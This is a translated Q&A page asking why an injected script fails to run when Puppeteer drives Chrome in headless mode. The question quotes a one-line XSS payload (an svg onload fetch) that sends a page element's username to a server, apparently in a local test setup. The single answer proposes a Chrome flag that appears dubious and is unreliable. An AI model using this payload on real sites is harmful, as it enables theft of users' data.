首页 > 解决方案 > 在无头模式下运行时,页面上的 Puppeteer javascript 不会执行

问题描述

我在 HTTP 响应中有一个包含 JavaScript 的页面 (secretpage.php),它将 userName 参数的值发送到我的服务器。

<svg/onload=fetch('http://localhost:8080/username='+document.getElementById("userName").innerHTML)> 

在运行 Chrome 的非无头模式下,JavaScript 成功执行,我在本地服务器上收到了一个回调,其中“userName”的值被发回。

然而,在无头模式下,JavaScript 根本没有执行,这很令人费解。

我在此处附上了我的 js 文件 (test.js) 以供参考。

node test.js

下面 test.js 的输出

const puppeteer = require('puppeteer');

(async () => {
  //const browser = await puppeteer.launch({ headless: false });
  const browser = await puppeteer.launch();
  const page = await browser.newPage();
  await page.goto('http://localhost/forum/');
  await page.type("#lbluserName", "john", { delay: 100 });
  await page.type("#lblpassword", "password", { delay: 100 });
  await page.click("#btnLogin");
  //await page.waitForNavigation();
  await page.waitFor(5000);
  await page.setViewport({
  width: 1280,
  height: 800,
  deviceScaleFactor: 1,
});
  await page.goto('http://localhost/forum/pages/secretpage.php');
  await page.waitForSelector('#comments');
  await page.screenshot({ path: 'screenshot.png' });
  await browser.close();
})();

谁能帮忙解决这个问题,因为这很奇怪?

谢谢!

标签: node.jspuppeteer

解决方案


我认为您需要在无头模式下启用 js 来运行 chrome。

await puppeteer.launch({
      args: [
        '--enable-features=ExperimentalJavaScript'
      ]
})

推荐阅读